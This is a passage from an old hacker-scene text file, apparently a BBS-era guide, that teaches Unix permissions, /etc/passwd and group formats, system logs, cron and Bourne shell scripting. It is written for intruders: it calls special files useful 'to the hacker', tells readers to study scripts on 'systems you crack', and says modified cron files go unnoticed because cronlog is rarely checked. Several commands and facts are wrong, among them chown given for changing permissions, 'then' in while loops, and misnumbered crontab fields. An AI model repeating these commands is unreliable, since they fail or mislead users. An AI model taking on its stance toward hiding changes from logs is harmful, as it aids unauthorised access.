  773. feature on-line entries from the Unix System User's Manual. You can read these 
  774. entries using the man command. The format is "man <command>". Some Unix System 
  775. V systems also feature a menu-driven help facility. Simply type "help" to 
  776. access it. This one will provide you with a list of commands, as well as with 
  777. the manual entries for the commands.
  778. -------------------------------------------------------------------------------
  779.  
  780. UNIX FILE AND DIRECTORY PROTECTIONS
  781. -----------------------------------
  782.         Every Unix account is assigned a specific user number, and a group 
  783. number. This is how the system identifies the user. Therefore, 2 accounts with 
  784. different usernames but the same user number would be considered by the system 
  785. to be the same id. These user and group numbers are what Unix uses to determine 
  786. file and directory access privileges.
  787.         Unix has three different file/directory permissions: read, write, and 
  788. execute. This how these permissions affect access to files:
  789.  
  790. read    -Allows a user to view the contents of the file.
  791. write   -Allows a user to change the contents of a file.
  792. execute -Allows a user to execute a file (if it is an executable type of file;
  793.         if it isn't, the user will get an error when trying to execute it).
  794.  
  795. This is how these permissions affect access to directories:
  796.  
  797. read    -Allows a user to list out the files in a directory (ls).
  798. write   -Allows a user to save and delete files in this directory.
  799. execute -If a user has execute access to a directory, he can go to that dir-
  800.         ectory with the cd command. If he also has read permission to that dir-
  801.         ectory, he can also copy files from it and gain information on the 
  802.         permissions for that directory and the files it contains, with the "l"
  803.         option to the ls command, which will be explained soon.
  804.  
  805.         Unix divides users into 3 classes: user (the owner of the file or dir-
  806. ectory), group (members of the owner's group), and other (anyone who doesn't 
  807. fit into the first two classes). You can specify what permissions to give to a 
  808. file for each class of user.
  809.         To show the permissions of the files in a directory, use "ls -l". This 
  810. will list the contents of the directory (as in ls), and will show each's 
  811. permissions. For example:
  812.         $ls
  813.         bin     startrek
  814.         $ ls -l
  815.         drwxrwxrwx   1   bin      sys 12345   Mar 10  01:30   bin
  816.         -rwxr-xr--   1   guest  users   256   Mar 20  02:25   startrek
  817.  
  818.         In the above example, the directory we are in contains a subdirectory 
  819. called bin and a file called "startrek". Here is an explantion of the fields:
  820. The first field contains the file's type and permissions. Look at the first 
  821. field of the first line, "drwxrwxrwx". Note the "d" at the begginning. Then see 
  822. the "-" at the begginging of the first field for the file startrek. This shows 
  823. the file type. "D" is a directory. "-" is a file. "c" is a device file. Now, 
  824. back to the first field of the first line again. Notice the "rwxrwxrwx". These 
  825. are the permissions. The permissions are divided into three groups:
  826. [user][group][other]. R stands for read, w stands for write, and x stand for 
  827. execute. "rwxrwxrwx" means that all three classes of users, owner, group, and 
  828. other, have read, write, and execute permissions to the directory bin. Now look 
  829. at the second line. It reads "rwxr-xr--". Notice the "-"'s in the place of some 
  830. of the permissions. This means that the file was not given that permission. 
  831. Line 2 shows that the owner has read, write, and execute permissions for the 
  832. file startrek, members of the owner's group have read and execute permissions 
  833. but not write (notice the "-" in the place of the group part's w), and all 
  834. others have only read privileges ("r--"...there are hyphens in the place of the 
  835. others part's w and x). 
  836.         Now, let's look at the other fields. The second field is a number (in 
  837. this case, the number is one for each line). This shows the number of copies of 
  838. this file on the system. The third field shows the name of the owner of file 
  839. (or directory). The fourth field shows the username of the owner of the file. 
  840. The fifth field, which is not shown on some systems, shows the name of the 
  841. owner's group.The sixth field shows the size of the file. the seventh field 
  842. shows the time and date the file was last modified. the last field shows the 
  843. name of the file or directory.
  844.         The command used to change file/directory permissions is chmod. There 
  845. are 2 ways to change permissions: symbolically and absolutely. This will 
  846. explain both.
  847.         When you change permissions symbolically, only the permissions you 
  848. specify to be added or deleted will be changed. The other permissions will 
  849. remain as they are. The format is:
  850. chown [u, g, or o] [+ or -] [rwx] [file/directory name]
  851. The following abbreviations are used:
  852. u       -User (the file or directory's owner)
  853. g       -Group (members of the owner's group)
  854. o       -Others (all others)
  855. r       -Read permission
  856. w       -Write permission
  857. x       -Execute permission
  858.  
  859. You use u, g, and o to specify which group you wish to change the privileges 
  860. for. To add a permission, type "chown [class]+[permissions] [filename]". For 
  861. instance, to add group write permissions to the file startrek, type "chown g+w 
  862. startrek". To delete permissions, use the "-". For instance, to remove the 
  863. owner's write access to the file "startrek", type "chown u-w startrek".
  864.  
  865.         When you set file permissions absolutely, any permissions that you do 
  866. not give the file or directory are automatically deleted. The format for 
  867. setting permissions absolutely is "chown [mode number] filename". You determine 
  868. the mode number by adding together the code numbers for the permissions you 
  869. wish to give the file. Here are the permissions and their numbers:
  870.  
  871. Others execute permission       1
  872. Others write permission         2
  873. Others read permission          4
  874.  
  875. Group execute permission        10
  876. Group write permission          20
  877. Group read permission           40
  878.  
  879. User (owner) execute permission 100
  880. User (owner) write permission   200
  881. User (owner) read permission    400
  882.  
  883.         There are also two special file modes that can be set only absolutely. 
  884. These are the UID and GID modes. The UID mode, when applied to an executable 
  885. file, means that when another user executes the file, he executes it under the 
  886. user number of the owner (in other words, he runs the program as if he were the 
  887. owner of the file). If the file has its GID mode bit set, then when someone 
  888. executes the file, his group will temporarily be changed to that of the file's 
  889. owner. The permission number for the GID mode is 2000, and the number for the 
  890. UID mode is 4000. If the uid bit is set, there will be an "S" in the place of 
  891. the x in the owner permissions section when you check a file's permissions:
  892. -rwSr-xr-x
  893. If the uid bit is set, and the owner of the file has execute permissions, the S 
  894. will not be capitalized:
  895. -rwsr-xr-x
  896. If the gid bit is set, the same applies to the x in the section on group 
  897. permissions.
  898.         A short note here is in order on how these permissions affect superuser 
  899. accounts. They don't-unless the owner of the file is root. All superuser 
  900. accounts have the same user number, which means that the system considers them 
  901. all to be the same-that is, they are considered to be the root account. Thus, 
  902. superuser accounts are only bound by the protections of files and directories 
  903. that they own, and they can easily change the permissions of any files and 
  904. directories that they do not have the access to that they wish.
  905.  
  906. SPECIAL UNIX FILES
  907. ------------------
  908.         This section will detail the purposes of some files that are found on 
  909. all systems. There are quite a few of these, and knowing their uses and what 
  910. format their entries are in is very useful to the hacker.
  911.  
  912. THE FILES
  913. ---------
  914.  
  915. /etc/passwd     -This is the password file, and is THE single most important 
  916.                 file on the system. This file is where information on the
  917.                 system's accounts are stored. Each entry has 7 fields:
  918.                 
  919.                 username:password:user#:group#:description:home dir:shell
  920.  
  921.                 The first field, naturally, is the account's username. The
  922.                 second field is the account's password (in an encrypted form).
  923.                 If this field is blank, the account doesn't have a password. 
  924.                 The next field is the account's user number. The fourth field
  925.                 is the account's group number. The fifth field is for a
  926.                 description of the account. This field is used only in the
  927.                 password file, and is often just left blank, as it has no
  928.                 significance. The sixth field is the pathname of the account's
  929.                 home directory, and the last field is the pathname of the 
  930.                 account's shell program. Sometimes you may see an account with
  931.                 a program besides the standard shell programs (sh, csh, etc.)
  932.                 as its shell program. These are "command logins". These 
  933.                 accounts execute these programs when logging in. For example,
  934.                 the "who" command login would have the /bin/who program as its
  935.                 shell.
  936.                 Here is a typical-looking entry:
  937.  
  938.                 root:hGBfdJYhdhflK:0:1:Superuser:/:/bin/sh
  939.  
  940.                 This entry is for the root account. Notice that the encrypted 
  941.                 form of the password is 13 characters, yet the Unix passwords
  942.                 are only 11 characters maximum. The last 2 characters are what
  943.                 is called a "salt string", and are used in the encryption
  944.                 process, which will be explained in more detail later. Now,
  945.                 notice the user number, which is zero. Any account with a user
  946.                 number of 0 has superuser capabilities. The group number is 1.
  947.                 The account description is "superuser". The account's home dir-
  948.                 ectory is the root directory, or "/". The account's shell is
  949.                 the bourne shell (sh), which is kept in the directory /bin.
  950.                 Sometimes you may see an entry in the password field like this:
  951.                 :NHFfnldyNjh,21AB:
  952.                 Notice the period after the 13th character, followed by 2
  953.                 digits and 2 letters. If an account has an entry like this, the
  954.                 account has a fixed expiration date on its password. The first
  955.                 digit, in this case 2, shows the maximum number of weeks that
  956.                 the account can keep the same password. The second digit shows
  957.                 how many weeks must pass before the account can change its 
  958.                 password. (This is to prevent users from using the same old
  959.                 password constantly by changing the password when forced to and
  960.                 then changing it back immediately.) The last 2 characters are
  961.                 an encrypted form of when the password was last changed.
  962.                 Other unusual password field entries you might encounter are:
  963.                 ::
  964.                 :,21:
  965.                 The first entry means that the account has no password. The
  966.                 second entry means that the account has no password yet, but
  967.                 has a fixed expiration date that wil begin as soon as a pass-
  968.                 word is given to it.
  969.                         Now, for an explanation of how the Unix system encrypts
  970.                 the passwords. The first thing any hacker thinks of is trying
  971.                 decrypt the password file. This is as close to impossible as
  972.                 anything gets in this world. I've often heard other "hackers"
  973.                 brag about doing this...this is the biggest lie since Moses
  974.                 said "I did it". The encryption scheme is a variation on the
  975.                 DES (Data Encryption Standard). When you enter the command
  976.                 passwd (to change the password), the system will form a 2
  977.                 character "salt string" based on the process number of the 
  978.                 password command you just issued. This 2-character string pro-
  979.                 duces a slight change in the way the password is encrypted.
  980.                 There are a total of 4096 different variations on the
  981.                 encryption scheme caused by different salt string characters.
  982.                 This is NOT the same encryption scheme used by the crypt
  983.                 utility. The password is NEVER decrypted on the system. When
  984.                 you log on, the password you enter at the password prompt is
  985.                 encrypted (the salt string is taken from the password file)
  986.                 and compared to the encrypted entry in the password file. The
  987.                 system generates its own key, and as of yet, I have not
  988.                 discovered any way to get the key. The login program does
  989.                 not encrypt the password you enter itself, it does so, I 
  990.                 believe, by a system call.
  991.  
  992. /etc/group      -This is the group file. This allows the superuser to give
  993.                 certain accounts group access to groups other than their own.
  994.                 Entries are in the format:
  995.                
  996.                group name:password:group number:users in this group
  997.  
  998.                 The first field is the name of the group. The second is the
  999.                 field for the group password. In all my experience with Unix,
  1000.                 I have never seen the password feature used. The third is the
  1001.                 group's number. The fourth field is a list of the users who
  1002.                 group access to this group. (Note: this can include users whose
  1003.                 group number is different from the number of the group whose
  1004.                 entry you are reading in the group file.) The usernames are
  1005.                 separated by commas. Here's an example:
  1006.  
  1007.                 sys::2:root,sys,adm,lp
  1008.  
  1009.                 To change to a new group identity, type "newgrp [group]". If
  1010.                 the group has a password, you must enter the proper password.
  1011.                 You cannot change to another group if you are not listed as a
  1012.                 member of that group in the group file.
  1013.                 
  1014.  
  1015. /dev/console    -This is the device file for the system console, or the
  1016.                 system's main terminal.
  1017.  
  1018. /dev/tty##      -The device files for the system's terminals are usually in
  1019.                 the form tty##, such as tty09, and sometimes ttyaa,ttyab, etc.
  1020.                 Some ways to make use of the Unix system's treatment of devices
  1021.                 as files will be explored in the section on Hacking Unix. When
  1022.                 these files are not in use by a user (in other words, no one's
  1023.                 logged onto this terminal), the file is owned by root. While a
  1024.                 user is logged onto a terminal, however, ownership of its 
  1025.                 device file is temporarily transferred to that account.
  1026.  
  1027. /dev/dk##       -These are the device files for the system's disks.
  1028.  
  1029. login files     -There are special files that are in a user's home directory
  1030.                 that contain commands that are executed when the user logs in.
  1031.                 The name of the file depends on what shell the user is using.
  1032.                 Here are the names of the files for the various shells:
  1033.                 
  1034.                 Shell           File
  1035.                 -----           ----
  1036.                 sh              .profile
  1037.                 csh             .cshrc
  1038.                 ksh             .login
  1039.                 rsh             .profile
  1040.  
  1041.                 Some systems also use a file called ".logout" that contains
  1042.                 commands which are executed upon logoff.
  1043.                         These types of files are called shell scripts, and will
  1044.                 will be explained in the section on Unix Software Development's
  1045.                 explanation of shell programming.
  1046. /usr/adm/sulog  -This is a log of all attempted uses of the su utility. It
  1047.                 shows when the attempt was made, what account made it, and
  1048.                 which account the user attempted to assume, and whether or not
  1049.                 the attempt was successful.
  1050. /usr/adm/loginlog
  1051.      or
  1052. /usr/adm/acct/sum/loginlog- This is a log of all logins to the system. This
  1053.                 only includes the time and the account's username.
  1054.  
  1055. mbox            -These are files in the home directories of the system's users,
  1056.                 that contain all the mail messages that they have saved.
  1057.  
  1058. /usr/mail/<user>        -These files in the directory /usr/mail are named after
  1059.                         system accounts. They contain all the unread mail for
  1060.                         the account they are named after.
  1061. /dev/null       -This is the null device file. Anything written to this file is
  1062.                 just lost forever. Any attempt to read this file will result in
  1063.                 an immediate control-D (end of file) character.
  1064. /tmp    -The directory /tmp provides storage space for temporary files created
  1065.         by programs and other processes. This directory will always have
  1066.         rwxrwxrwx permissions. Examining these files occasionally reveals some
  1067.         interesting information, and if you know what program generates them
  1068.         and the format of the information in the file, you could easily change
  1069.         the info in the files, thereby changing the outcome of the program.
  1070.  
  1071. THE CRON UTILITIES
  1072. ------------------
  1073.         An understanding of the cron utilities will be necessary to understand 
  1074. certain parts of the section on Hacking Unix. This section will give a detailed 
  1075. explanation of the workings of the cron utilities.
  1076.         The cron utility is a utility which carries out tasks which must be
  1077. performed on a periodic basis. These tasks, and the times when they are to be 
  1078. carried out, are kept in files in 2 directories: /usr/lib and 
  1079. /usr/spool/cron.
  1080.         The file crontab in the directory /usr/lib contains entries for system 
  1081. tasks that must be performed on a periodic basis. The format for the entries in 
  1082. this file is:
  1083.  
  1084. minute hour dayofmonth  monthofyear  dayofweek commandstring
  1085.  
  1086. The first field is the minutes field. This is a value from 0-59.
  1087. The second field is the hour field, a value from 0-23.
  1088. The third field is the day of the month, a value from 1-31.
  1089. The fifth field is the month of the year, a value from 1-2.
  1090. The sixth field is the day of the week, a value from 1-7, with monday being 1.
  1091. The seventh field is the pathname and any arguments of the task to be carried 
  1092. out.
  1093.  
  1094. An asterisk in a field means to carry out the task for every value of that 
  1095. field. For instance, an asterisk in the minutes field would mean to carry out 
  1096. that task every minute. Here's an example crontab entry:
  1097.  
  1098. 0 1 * * *  /bin/sync
  1099.  
  1100. This runs sync command, which is kept in the directory bin, at 1 am every day.
  1101. Commands in the file /usr/lib/crontab are performed with root privileges.
  1102.         in the directory /usr/spool/crontabs, you will find files named after 
  1103. system accounts. These files contain cron entries which are the same as those 
  1104. in the file /usr/lib/crontab, but are carried out under the id of the user the 
  1105. file is named after. The entries are in the same format.
  1106.  
  1107. BEWARE! When modifying cron files- cron activity is logged! All cron activity 
  1108. is logged in the file /usr/adm/cronlog. I've found, however, that on most 
  1109. systems, this file is almost never checked.
  1110.  
  1111. UNIX SOFTWARE DEVELOPMENT
  1112. -------------------------
  1113.         The Unix operating system was initially created as an enviroment for 
  1114. software development, and that remains its main use. This section will detail 
  1115. some of the os's main facilities for software development, the C compiler and 
  1116. shell programming, and their related utilities. A few of the other languages 
  1117. will be briefly touched upon at the end of this section, also.
  1118.  
  1119. SHELL PROGRAMMING
  1120. -----------------
  1121.         The shell is more than a simple command interpreter. It is also a 
  1122. sophisticated programming tool, with variables, control structures, and the 
  1123. features of just about any other programming language. Shell programs are 
  1124. called scripts. Scripts are just text files which contain the names of commands 
  1125. and programs. When the script is executed, the command and programs whose names 
  1126. it contains are executed as if you had typed in their names from your keyboard. 
  1127. There are two ways to execute a shell script: if you have execute permission to 
  1128. it, you can simply type in its name. Otherwise, (if you have read access to 
  1129. it), you can type "sh [filename]". Here is a sample shell script:
  1130.  
  1131. who
  1132. whoami
  1133.  
  1134. As you can see, it contains the commands who and whoami. When you execute it, 
  1135. you will see a list of the system's current users (the output of the who 
  1136. command), and which account you are logged in under (the output of the whoami 
  1137. command).
  1138.         This will concentrate solely on shell programming. While shell 
  1139. programming is essentially the same with all the shells, there are slight 
  1140. syntax differences that make shell scripts incompatible with shells that they 
  1141. were not specifically written for.
  1142.  
  1143. SHELL VARIABLES
  1144. ---------------
  1145.         Like any programming language, the shell can handle variables. To set 
  1146. the value of a variable, type:
  1147.  
  1148. [variable]=[value]
  1149.  
  1150. For example:
  1151.  
  1152. counter=1
  1153.  
  1154. This will assign the value "1" to the variable counter. If the variable counter 
  1155. does not already exist, the shell will create it. Note, that there are no 
  1156. "numeric" variables in shell programming- all the variables are strings. For 
  1157. instance, we could later type:
  1158.  
  1159. counter=This is a string
  1160.  
  1161. And counter would now be equal to "This is a string". There is a command called 
  1162. "expr", however, that will let you treat a variable as a numeric value, and 
  1163. will be explained later.
  1164.         When setting the value of a variable, you only use the variable name. 
  1165. When you specify a variable as an argument to a command or program, however, 
  1166. you must precede the variable with a dollar sign. For instance:
  1167.  
  1168. user=root
  1169.  
  1170. Now, we want to specify user as an argument to the command "ps -u". We would 
  1171. type:
  1172.  
  1173. ps -u$user
  1174.  
  1175. Which would, of course, display the processes of the user "root".
  1176.  
  1177. SPECIAL SHELL VARIABLES
  1178. -----------------------
  1179.         There are certain vaiables which are already pre-defined by the shell, 
  1180. and have special meaning to it. Here is a list of the more important ones and 
  1181. their meanings to the shell:
  1182.  
  1183. HOME    -(Notice the caps. All pre-defined variables are in all-caps.) This
  1184.         variable contains the pathname of the user's home directory.
  1185.  
  1186. PATH    -This is a good time to explain something which makes Unix a very
  1187.         unique operating system. In Unix, there are no commands "built-in" to
  1188.         the operating system. All the commands are just regular programs. The
  1189.         PATH variable contains a list of the pathnames of directories. When you
  1190.         type in the name of a command or program, the shell searches through
  1191.         the directories listed in the PATH variable (in the order specified in
  1192.         the variable) until it finds a program with the same name as the name
  1193.         you just typed in. The format for the list of directories in the PATH
  1194.         variable is:
  1195.         
  1196.         [pathname]:[pathname]:[pathname]...
  1197.  
  1198.         For example, the default searchpath is usually:
  1199.  
  1200.         /bin:/usr/bin:/usr/local
  1201.  
  1202.         A blank entry in the pathname, or an entry for ".", means to check the
  1203.         directory the user is currently in. For instance, all these paths
  1204.         contain blank or "." entries:
  1205.  
  1206.         .:/bin:/usr/bin         [Notice . at begginning of path]
  1207.         :/bin:/usr/bin          [Notice that path begins with :]
  1208.         /bin:/usr/bin:          [Note that path ends with :    ]
  1209.  
  1210. PS1     -This variable contains the shell prompt string. The default is usually
  1211.         "$" ("&" if you're using BSD Unix). If you have the "&" prompt, and
  1212.         wish to have the dollar sign prompt instead, just type:
  1213.  
  1214.         PS1=$
  1215.  
  1216. TERM    -This contains the type of terminal you are using. Common terminal
  1217.         types are:
  1218.         
  1219.         ansi    vt100   vt52    vt200   ascii   tv150
  1220.  
  1221.         And etc... Just type "TERM=[termtype]" to set your terminal type.
  1222.  
  1223. COMMAND LINE VARIABLES
  1224. ----------------------
  1225.         Command line variables are variables whose values are set to arguments 
  1226. entered on the command line when you execute the shell script. For instance, 
  1227. here is a sample shell script called "repeat" that uses command line variables:
  1228.  
  1229. echo $1
  1230. echo $2
  1231. echo $3
  1232.  
  1233. The echo command prints out the values following it. In this case, it will 
  1234. print out the values of the variables $1, $2, and $3. These are the command 
  1235. line variables. For instance, $1 contains the value of the first argument you 
  1236. entered on the command line, $2 contains the second, $3 contains the third, an 
  1237. so on to infinity. Now, execute the script:
  1238.  
  1239. repeat apples pears peaches
  1240.  
  1241. The output from the "repeat" shell script would be:
  1242.  
  1243. apples
  1244. pears
  1245. peaches
  1246.  
  1247. Get the idea?
  1248.  
  1249. SPECIAL COMMAND LINE VARIABLES
  1250. ------------------------------
  1251.         There are 2 special command line variables, $O and $#. $O contains the 
  1252. name of command you typed in (in the last example, $O would be repeat). $# 
  1253. contains the number of arguments in the command line. (In the last example, $# 
  1254. would be 3.)
  1255.  
  1256. SPECIAL COMMANDS FOR SHELL PROGRAMS
  1257. -----------------------------------
  1258.         These commands were added to the Unix os especially for shell 
  1259. programming. This section will list them, their syntax, and their uses.
  1260.  
  1261. read    -This command reads the value of a variable from the terminal. The
  1262.         format is: "read [variable]". For example, "read number". The variable
  1263.         is not preceded by a dollar sign when used as an argument to this com-
  1264.         mand.
  1265.  
  1266. echo    -This command displays information on the screen. For example,
  1267.         "echo hello" would display "hello" on your terminal. If you specify
  1268.         a variable as an argument, it must be preceded by a dollar sign, for
  1269.         example "echo $greeting".
  1270.  
  1271. trap    -This command traps certain events, such as the user being disconnected
  1272.         or pressing the break key, and tells what commands to carry out if they
  1273.         occur. The format is: trap "commands" eventcodes. the event codes are:
  1274.         2 for break key, and 1 for disconnect. You can specify multiple com-
  1275.         mands with the quotation marks, separating the commands with a semi-
  1276.         colon (";"). For example:
  1277.  
  1278.         trap "echo 'hey stupid!'; echo 'don't hit the break key'" 2
  1279.  
  1280.         Would echo "Hey stupid!" and "Don't hit the break key" if the user hits
  1281.         the break key while the shell script is being executed.
  1282.  
  1283. exit    -This command terminates the execution of a shell procedure, and ret-
  1284.         urns a diagnostic value to the enviroment. The format is:
  1285.         "exit [value]", where value is 0 for true and 1 for false. The meaning
  1286.         of the value parameter will become clear later, in the section on
  1287.         the shell's provisions for conditional execution. If the shell script
  1288.         being executed is being executed by another shell script, control is
  1289.         passed to the next highest shell script.
  1290.  
  1291. ARITHMETIC WITH EXPR
  1292. --------------------
  1293.         The expr command allows you to perform arithmetic on the shell 
  1294. variables, and sends the output to the screen. (Though the output may be 
  1295. redirected.) The format is:
  1296.  
  1297. expr [arg] [function] [arg] [function] [arg]...
  1298.  
  1299. Where [arg] may be either a value, or a variable (preceded by a dollar sign), 
  1300. and [function] is an arithmetic operation, one of the following:
  1301.  
  1302. +       -Add.
  1303. -       -Subtract.
  1304. \*      -Multiply.
  1305. /       -Divide.
  1306. %       -Remainder from a division operation.
  1307.  
  1308. For example:
  1309.  
  1310. $ num1=3
  1311. $ num2=5
  1312. $ expr num1 + num2
  1313.  8
  1314. $
  1315.  
  1316. TEXT MANIPULATION WITH SORT
  1317. ---------------------------
  1318.         The sort command sorts text by ASCII or numeric value. The command 
  1319. format is:
  1320.  
  1321. sort [field][option]... file
  1322.  
  1323. where file is the file you wish to sort. (The sort command's input may be 
  1324. redirected, though, just as its output, which is ordinarily to the screen, can 
  1325. be.) The sort command sorts by the file's fields. If you don't specify any 
  1326. specific field, the first field is assumed. for example, say this file 
  1327. contained names and test scores:
  1328.  
  1329. Billy Bob       10
  1330. Tom McKann      5
  1331. Doobie Kairful  20
  1332.  
  1333. the file's fields would be first name, last name, and score. So, to sort the 
  1334. above file (called "students") by first name, you would issue the command:
  1335.  
  1336. sort students
  1337.  
  1338. And you would see:
  1339.  
  1340. Billy Bob       10
  1341. Doobie Kairful  20
  1342. Tom McKann      5
  1343.  
  1344. If you wanted to sort the file's entries by another field, say the second field 
  1345. of the file "students" (last names), you would specify:
  1346.  
  1347. sort +1 students
  1348.  
  1349. The +1 means to skip ahead one field and then begin sorting. Now, say we wanted 
  1350. to sort the file by the 3rd field (scores). We would type:
  1351.  
  1352. sort +2 students
  1353.  
  1354. to skip 2 fields. But the output would be:
  1355.  
  1356. Billy Bob       10
  1357. Tom McKann      5
  1358. Doobie Kairful  20
  1359.  
  1360. Notice that the shorter names came first, regardless of the numbers in the 
  1361. second field. There is a reason for this- the spaces between the second and 3rd 
  1362. fields are considered to be part of the 3rd field. You can tell the sort 
  1363. command to ignore spaces when sorting a field, however, using the b option. The 
  1364. format would be:
  1365.  
  1366. sort +2b students
  1367.  
  1368. but...another error! The output would be:
  1369.  
  1370. Billy Bob       10
  1371. Doobie Kairful  20
  1372. Tom McKann      5
  1373.  
  1374. Why did the value 5 come after 10 and 20? Because the sort command wasn't 
  1375. really sorting by numeric value- it was sorting by the ASCII values of the 
  1376. characters in the third field, and 5 comes after the digits 1 and 2. We could 
  1377. specify that the field be treated by its numerical value by specifying the n 
  1378. option:
  1379.  
  1380. sort +2n students
  1381.  
  1382. Output: 
  1383.  
  1384. Tom McKann      5
  1385. Billy Bob       10
  1386. Doobie Kairful  20
  1387.  
  1388. Notice that if we use the n option, blanks are automatically ignored.
  1389.  
  1390. We can also specify that sort work in the reverse order on a field. For 
  1391. example, if we wanted to sort by last names in reverse order:
  1392.  
  1393. sort +1r students
  1394.  
  1395. Output:
  1396.  
  1397. Tom McKann      5
  1398. Doobie Kairful  20
  1399. Billy Bob       10
  1400.  
  1401. By using pipes, you can direct the output of one sort command to the input of 
  1402. yet another sort command, thus allowing you to sort a file by more than one 
  1403. field. This makes sort an excellent tool for text manipulation. It is not, 
  1404. however, the only one. Remember, you can use any Unix command or program in a 
  1405. shell script, and there are many different commands for text manipulation in 
  1406. Unix, such as grep (described in an earlier section on basic commands). 
  1407. Experiment with the different commands and ways of using them.
  1408.  
  1409. LOOPING
  1410. -------
  1411.         The for/do loop is a simple way to repeat a step for a certain number 
  1412. of times. The format is:
  1413.  
  1414. for [variable] in [values]
  1415. do [commands]
  1416. done
  1417.  
  1418. You do not precede the variable with a dollar sign in this command. The for/do 
  1419. loop works by assigning the variable values from the list of values given, one 
  1420. at a time. For example:
  1421.  
  1422. for loopvar in 1 2 3 5 6 7
  1423. do echo $loopvar
  1424. done
  1425.  
  1426. On the first pass of the loop, loopvar would be assigned the value 1, on the 
  1427. second pass 2, on the third pass 3, on the fourth pass 5, on the fifth pass 6, 
  1428. and on the sixth pass 7. I skipped the number 4 to show that you do not have to 
  1429. use values in numerical order. In fact, you don't have to use numerical 
  1430. arguments. You could just as easily have assigned loopvar a string value:
  1431.  
  1432. for loopvar in apples peaches pears
  1433. do echo "This pass's fruit is:"
  1434.    echo $loopvar
  1435. done
  1436.  
  1437. Note that you can also specify multiple commands to be carried out in the do 
  1438. portion of the loop.
  1439.  
  1440. SELECTIVE EXECUTION WITH CASE
  1441. -----------------------------
  1442.         The case command allows you to execute commands based on the value of a 
  1443. variable. The format is:
  1444.  
  1445. case [variable] in
  1446.  
  1447.         [value])        commands
  1448.                         commands
  1449.                         commands;;
  1450.        [value2])        commands
  1451.                         commands;;
  1452.        [value3])        ...and so on
  1453.         esac
  1454.  
  1455. For example:
  1456.  
  1457. case $choice in
  1458.         1)      echo "You have chosen option one."
  1459.                 echo "This is not a good choice.";;
  1460.  
  1461.         2)      echo "Option 2 is a good choice.";;
  1462.  
  1463.         *)      echo "Invalid option.";;
  1464.         esac
  1465.  
  1466. Now, to explain that:
  1467.         If the variable choice's value is "1", the commands in the section for 
  1468. the value 1 are carried out until a pair of semicolons (";;") is found. The 
  1469. same if the value of choice is "2". Now, note the last entry, "*". This is a 
  1470. wildcard character. This means to execute the commands in this section for any 
  1471. other value of choice. Easac signals the end of the list of execution options 
  1472. for case.
  1473.  
  1474. DETERMINING TRUE/FALSE CONDITIONS WITH TEST
  1475. -------------------------------------------
  1476.         The test command tests for various conditions of files and variables 
  1477. and returns either a true value (0) or a false value (1), which is used in 
  1478. conjuction with the if/then statements to determine whether or not a series of 
  1479. commands are executed. There are several different formats for test, depending 
  1480. on what kind of condition you are testing for. When using variables with test, 
  1481. you must always precede the variable with a dollar sign.
  1482.  
  1483. NUMERIC TESTS
  1484. -------------
  1485. Format:
  1486. test [arg1] option [arg2]
  1487.  
  1488. the arguments can either be numbers or variables.
  1489.  
  1490. OPTIONS         TESTS TRUE IF
  1491. -------         -------------
  1492. -eq             arg1=arg2
  1493. -ne             arg1<>arg2
  1494. -gt             arg1>arg2
  1495. -lt             arg1<arg2
  1496. -ge             arg1>=arg2
  1497. -le             arg1<=arg2
  1498.  
  1499. FILETYPE TESTS
  1500. -------------
  1501. Format:
  1502. test [option] file or directory name
  1503.  
  1504. OPTIONS         TESTS TRUE IF
  1505. -------         -------------
  1506. -s              file or directory exists and is not empty
  1507. -f              the "file" is a file and not a directory
  1508. -d              the "file" is really a directory
  1509. -w              the user has write permission to the file/directory
  1510. -r              the user has read permission to the file/directory
  1511.  
  1512. CHARACTER STRING TESTS
  1513. ----------------------
  1514. Format:
  1515. test [arg1] option [arg2]
  1516. The arguments can be either strings of characters or variables with character 
  1517. string values.
  1518.  
  1519. OPTIONS         TESTS TRUE IF
  1520. -------         -------------
  1521. =               arg1=arg2
  1522. !=              arg<>arg2
  1523.  
  1524. A note here about string tests. You must enclose the names of the variables in 
  1525. quotation marks (like "$arg1") if you wish the test to take into consideration 
  1526. spaces, otherwise space characters are ignored, and "    blue" would be 
  1527. considered the same as "blue".
  1528.  
  1529. TESTING FOR THE EXISTANCE OF A STRING OF CHARACTERS
  1530. ---------------------------------------------------
  1531. Format:
  1532. test [option] arg
  1533. Arg is a variable.
  1534.  
  1535. OPTIONS         TESTS TRUE IF
  1536. -------         -------------
  1537. -z              variable has a length of 0
  1538. -n              variable has a length greater than 0
  1539.  
  1540. COMBINING TESTS WITH -A AND -O
  1541. ------------------------------
  1542.         These options stand for "and" (-a) and "or" (-o). They allow you to 
  1543. combine tests, for example:
  1544.  
  1545. test arg1 = arg2 -o arg1 = arg3
  1546.  
  1547. means that a true condition is returned if arg1=arg2 or arg1=arg3.
  1548.  
  1549.  
  1550. CONDITIONAL EXECUTION WITH IF/THEN/ELSE/ELIF
  1551. --------------------------------------------
  1552. Format:
  1553. if [this condition is true]
  1554. then [do these commands]
  1555. fi
  1556.  
  1557. Example:
  1558.  
  1559. if test arg1 = arg2
  1560. then echo "argument 1 is the same as argument 2"
  1561. fi
  1562.  
  1563. This is pretty much self-explanatory. If the condition test on the if line 
  1564. returns a true value, the the commands following "then" are carried out until 
  1565. the fi statement is encountered.
  1566.  
  1567. Format:
  1568. if [this condition is true]
  1569. then [do these commands]
  1570. else [do these commands]
  1571. fi
  1572.  
  1573. Again, pretty much self explanatory. The same as the above, except that if the 
  1574. condition isn't true, the commands following else are carried out, until fi is 
  1575. encountered.
  1576.  
  1577. Format:
  1578. if [this condition is true]
  1579. then [do these commands]
  1580. elif [this condition is true]
  1581. then [do these commands]
  1582. fi
  1583.  
  1584. The elif command executes another condition test if the first condition test is 
  1585. false, and if the elif's condition test returns a true value, the command for 
  1586. its then statement are then carried out. Stands for "else if".
  1587.  
  1588. WHILE/DO LOOPS
  1589. --------------
  1590. Format:
  1591. while [this condition is true]
  1592. then [do these commands]
  1593. done
  1594.  
  1595. Repeats the commands following "then" for as long as the condition following 
  1596. "while" is true. Example:
  1597.  
  1598. while test $looper != "q"
  1599. then read looper
  1600.      echo $looper
  1601. done
  1602.  
  1603. while will read the value of the variable looper from the keyboard and display 
  1604. it on the screen, and ends if the value of looper is "q".
  1605.  
  1606. SUMMARY
  1607. -------
  1608.         This small tutorial by no means is a complete guide to shell 
  1609. programming. Look at shell scripts on the systems you crack and follow their 
  1610. examples. Remember, that you can accomplish a great deal by combining the 
  1611. various control structures (such as having an if/then conditional structure 
  1612. call up a while/do loop if the condition is true, etc.) and by using I/O 
  1613. redirection, pipes, etc. My next Unix file will cover more advanced shell 
  1614. programming, and examine shell programming on another popular shell, the 
  1615. Berkely C shell.
